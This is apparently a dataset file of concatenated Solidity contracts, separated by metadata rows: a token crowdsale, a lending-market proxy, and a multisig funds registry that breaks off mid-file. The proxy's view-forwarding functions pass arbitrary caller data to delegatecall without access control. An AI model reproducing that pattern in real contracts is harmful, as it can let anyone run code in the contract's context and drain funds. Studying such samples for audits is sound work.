unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Crowdsale is Context {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0), "Crowdsale: token is the zero address");
_rate = rate;
_wallet = wallet;
_token = token;
}
receive () external payable {
buyTokens(_msgSender());
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual{
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
this;
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual{
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal virtual{
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal virtual{
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract Sale is Crowdsale {
constructor(uint256 rate, // rate in TKNbits
address payable wallet,
IERC20 token)
Crowdsale(rate, wallet, token) public {}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view override {
super._preValidatePurchase(beneficiary, weiAmount);
}
}
| 126,782 | 10,658 |
974133ad63c4aa9f75db87c7cb0f2eefbb768456881860de547718a0b1700714
| 15,455 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x808c3ba97268dbf9695b1ec10729e09c7e67a9e3.sol
| 4,242 | 15,170 |
pragma solidity 0.6.12;
interface marketManagerInterface {
function setOracleProxy(address oracleProxyAddr) external returns (bool);
function setBreakerTable(address _target, bool _status) external returns (bool);
function getCircuitBreaker() external view returns (bool);
function setCircuitBreaker(bool _emergency) external returns (bool);
function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory);
function handlerRegister(uint256 handlerID, address tokenHandlerAddr) external returns (bool);
function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256);
function liquidationApplyInterestHandlers(address payable userAddr, uint256 callerID) external returns (uint256, uint256, uint256, uint256, uint256);
function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256);
function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256);
function getTokenHandlerSupport(uint256 handlerID) external view returns (bool);
function getTokenHandlersLength() external view returns (uint256);
function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool);
function getTokenHandlerID(uint256 index) external view returns (uint256);
function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256);
function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256);
function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256);
function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256);
function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256);
function setLiquidationManager(address liquidationManagerAddr) external returns (bool);
function rewardClaimAll(address payable userAddr) external returns (bool);
function rewardTransfer(uint256 _claimAmountSum) external returns (bool);
function updateRewardParams(address payable userAddr) external returns (bool);
function interestUpdateReward() external returns (bool);
function getGlobalRewardInfo() external view returns (uint256, uint256, uint256);
}
interface interestModelInterface {
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function getSIRandBIR(address handlerDataStorageAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256);
}
interface marketHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function setNewCustomer(address payable userAddr) external returns (bool);
function getUserAccessed(address payable userAddr) external view returns (bool);
function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool);
function getReservedAddr() external view returns (address payable);
function setReservedAddr(address payable reservedAddress) external returns (bool);
function getReservedAmount() external view returns (int256);
function addReservedAmount(uint256 amount) external returns (int256);
function subReservedAmount(uint256 amount) external returns (int256);
function updateSignedReservedAmount(int256 amount) external returns (int256);
function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function getDepositTotalAmount() external view returns (uint256);
function addDepositTotalAmount(uint256 amount) external returns (uint256);
function subDepositTotalAmount(uint256 amount) external returns (uint256);
function getBorrowTotalAmount() external view returns (uint256);
function addBorrowTotalAmount(uint256 amount) external returns (uint256);
function subBorrowTotalAmount(uint256 amount) external returns (uint256);
function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256);
function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256);
function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function getUserAmount(address payable userAddr) external view returns (uint256, uint256);
function getHandlerAmount() external view returns (uint256, uint256);
function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256);
function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256);
function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool);
function getLastUpdatedBlock() external view returns (uint256);
function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool);
function getInactiveActionDelta() external view returns (uint256);
function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool);
function syncActionEXR() external returns (bool);
function getActionEXR() external view returns (uint256, uint256);
function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool);
function getGlobalDepositEXR() external view returns (uint256);
function getGlobalBorrowEXR() external view returns (uint256);
function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool);
function getUserEXR(address payable userAddr) external view returns (uint256, uint256);
function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool);
function getGlobalEXR() external view returns (uint256, uint256);
function getMarketHandlerAddr() external view returns (address);
function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool);
function getInterestModelAddr() external view returns (address);
function setInterestModelAddr(address interestModelAddr) external returns (bool);
function getLimit() external view returns (uint256, uint256);
function getBorrowLimit() external view returns (uint256);
function getMarginCallLimit() external view returns (uint256);
function getMinimumInterestRate() external view returns (uint256);
function getLiquiditySensitivity() external view returns (uint256);
function setBorrowLimit(uint256 _borrowLimit) external returns (bool);
function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool);
function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool);
function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool);
function getLimitOfAction() external view returns (uint256);
function setLimitOfAction(uint256 limitOfAction) external returns (bool);
function getLiquidityLimit() external view returns (uint256);
function setLiquidityLimit(uint256 liquidityLimit) external returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external view returns (bool);
function transferFrom(address from, address to, uint256 value) external ;
}
interface marketSIHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool);
function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
function getMarketRewardInfo() external view returns (uint256, uint256, uint256);
function setMarketRewardInfo(uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool);
function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256);
function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool);
function getBetaRate() external view returns (uint256);
function setBetaRate(uint256 _betaRate) external returns (bool);
}
contract proxy {
address payable owner;
uint256 handlerID;
string tokenName;
uint256 constant unifiedPoint = 10 ** 18;
uint256 unifiedTokenDecimal = 10 ** 18;
uint256 underlyingTokenDecimal;
marketManagerInterface marketManager;
interestModelInterface interestModelInstance;
marketHandlerDataStorageInterface handlerDataStorage;
marketSIHandlerDataStorageInterface SIHandlerDataStorage;
IERC20 erc20Instance;
address public handler;
address public SI;
string DEPOSIT = "deposit(uint256,bool)";
string REDEEM = "withdraw(uint256,bool)";
string BORROW = "borrow(uint256,bool)";
string REPAY = "repay(uint256,bool)";
modifier onlyOwner {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
modifier onlyMarketManager {
address msgSender = msg.sender;
require((msgSender == address(marketManager)) || (msgSender == owner), "onlyMarketManager function");
_;
}
constructor () public
{
owner = msg.sender;
}
function ownershipTransfer(address _owner) onlyOwner external returns (bool)
{
owner = address(uint160(_owner));
return true;
}
function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address erc20Addr, string memory _tokenName, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool)
{
handlerID = _handlerID;
handler = handlerAddr;
marketManager = marketManagerInterface(marketManagerAddr);
interestModelInstance = interestModelInterface(interestModelAddr);
handlerDataStorage = marketHandlerDataStorageInterface(marketDataStorageAddr);
erc20Instance = IERC20(erc20Addr);
tokenName = _tokenName;
SI = siHandlerAddr;
SIHandlerDataStorage = marketSIHandlerDataStorageInterface(SIHandlerDataStorageAddr);
}
function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool)
{
handlerID = _handlerID;
return true;
}
function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool)
{
handler = handlerAddr;
return true;
}
function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool)
{
SI = siHandlerAddr;
return true;
}
function getHandlerID() public view returns (uint256)
{
return handlerID;
}
function getHandlerAddr() public view returns (address)
{
return handler;
}
function getSiHandlerAddr() public view returns (address)
{
return SI;
}
function migration(address target) onlyOwner public returns (bool)
{
uint256 balance = erc20Instance.balanceOf(address(this));
erc20Instance.transfer(target, balance);
}
function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function handlerViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
}
contract UsdtHandlerProxy is proxy {
constructor()
proxy() public {}
}
| 276,881 | 10,659 |
b641b2d953b512cc088ee0d7b553811179a8abef015ad9f67261984adaebc5a1
| 18,840 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe716209f5d62efa8ca4cacdda1284bfff8df9e42.sol
| 4,149 | 17,276 |
pragma solidity 0.4.15;
// TODO acceptOwnership
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct MultiOwnedOperationPendingState {
// count of confirmations needed
uint yetNeeded;
// bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit
uint ownersDone;
// position of this operation key in m_multiOwnedPendingIndex
uint index;
}
// EVENTS
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
// Even if required number of confirmations has't been collected yet,
// we can't throw here - because changes to the state have to be preserved.
// But, confirmAndCheck itself will throw in case sender is not an owner.
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
function multiowned(address[] _owners, uint _required)
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
// invalid and duplicate addresses are not allowed
require(0 != owner && !isOwner(owner));
uint currentOwnerIndex = checkOwnerIndex(i + 1);
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
// Replaces an owner `_from` with another `_to`.
// All pending operations will be canceled!
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
// All pending operations will be canceled!
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
// All pending operations will be canceled!
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
//make sure m_numOwners is equal to the number of owners and always points to the last owner
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
// All pending operations will be canceled!
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(sha3(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
// Tests ownership of the current caller.
// addOwner/changeOwner and to isOwner.
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
// In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point
// we won't be able to do it because of block gas limit.
// Yes, pending confirmations will be lost. Dont see any security or stability implications.
// TODO use more graceful approach like compact or removal of clearPending completely
clearPending();
var pending = m_multiOwnedPending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (! isOperationActive(_operation)) {
// reset count of confirmations needed.
pending.yetNeeded = m_multiOwnedRequired;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
// determine the bit to set for this owner.
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
// ok - check if count is enough to go ahead.
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
// iterating to the first free slot from the beginning
while (free < m_numOwners && m_owners[free] != 0) free++;
// iterating to the first occupied slot from the end
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
// swap, if possible, so free slot is located at the end after the swap
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
// owners between swapped slots should't be renumbered - that saves a lot of gas
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private constant returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
// FIELDS
uint constant c_maxOwners = 250;
// the number of owners that must confirm the same operation before it is run.
uint public m_multiOwnedRequired;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners (addresses),
// slot 0 is unused so there are no owner which index is 0.
// TODO could we save space at the end of the array for the common case of <10 owners? and should we?
address[256] internal m_owners;
// index on the list of owners to allow reverse lookup: owner address => index in m_owners
mapping(address => uint) internal m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
contract MultiownedControlled is multiowned {
event ControllerSet(address controller);
event ControllerRetired(address was);
modifier onlyController {
require(msg.sender == m_controller);
_;
}
// PUBLIC interface
function MultiownedControlled(address[] _owners, uint _signaturesRequired, address _controller)
multiowned(_owners, _signaturesRequired)
{
m_controller = _controller;
ControllerSet(m_controller);
}
/// @notice sets the controller
function setController(address _controller) external onlymanyowners(sha3(msg.data)) {
m_controller = _controller;
ControllerSet(m_controller);
}
/// @notice ability for controller to step down
function detachController() external onlyController {
address was = m_controller;
m_controller = address(0);
ControllerRetired(was);
}
// FIELDS
/// @notice address of entity entitled to mint new tokens
address public m_controller;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ReentrancyGuard {
bool private rentrancy_lock = false;
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
/// @title registry of funds sent by investors
contract FundsRegistry is MultiownedControlled, ReentrancyGuard {
using SafeMath for uint256;
enum State {
// gathering funds
GATHERING,
// returning funds to investors
REFUNDING,
// funds can be pulled by owners
SUCCEEDED
}
event StateChanged(State _state);
event Invested(address indexed investor, uint256 amount);
event EtherSent(address indexed to, uint value);
event RefundSent(address indexed to, uint value);
modifier requiresState(State _state) {
require(m_state == _state);
_;
}
// PUBLIC interface
function FundsRegistry(address[] _owners, uint _signaturesRequired, address _controller)
MultiownedControlled(_owners, _signaturesRequired, _controller)
{
}
/// @dev performs only allowed state transitions
function changeState(State _newState)
external
onlyController
{
assert(m_state != _newState);
if (State.GATHERING == m_state) { assert(State.REFUNDING == _newState || State.SUCCEEDED == _newState); }
else assert(false);
m_state = _newState;
StateChanged(m_state);
}
/// @dev records an investment
function invested(address _investor)
external
payable
onlyController
requiresState(State.GATHERING)
{
uint256 amount = msg.value;
require(0 != amount);
assert(_investor != m_controller);
// register investor
if (0 == m_weiBalances[_investor])
m_investors.push(_investor);
// register payment
totalInvested = totalInvested.add(amount);
m_weiBalances[_investor] = m_weiBalances[_investor].add(amount);
Invested(_investor, amount);
}
/// @dev Send `value` of ether to address `to`
function sendEther(address to, uint value)
external
onlymanyowners(sha3(msg.data))
requiresState(State.SUCCEEDED)
{
require(0 != to);
require(value > 0 && this.balance >= value);
to.transfer(value);
EtherSent(to, value);
}
/// @notice withdraw accumulated balance, called by payee.
function withdrawPayments()
external
nonReentrant
requiresState(State.REFUNDING)
{
address payee = msg.sender;
uint256 payment = m_weiBalances[payee];
require(payment != 0);
require(this.balance >= payment);
totalInvested = totalInvested.sub(payment);
m_weiBalances[payee] = 0;
payee.transfer(payment);
RefundSent(payee, payment);
}
function getInvestorsCount() external constant returns (uint) { return m_investors.length; }
// FIELDS
/// @notice total amount of investments in wei
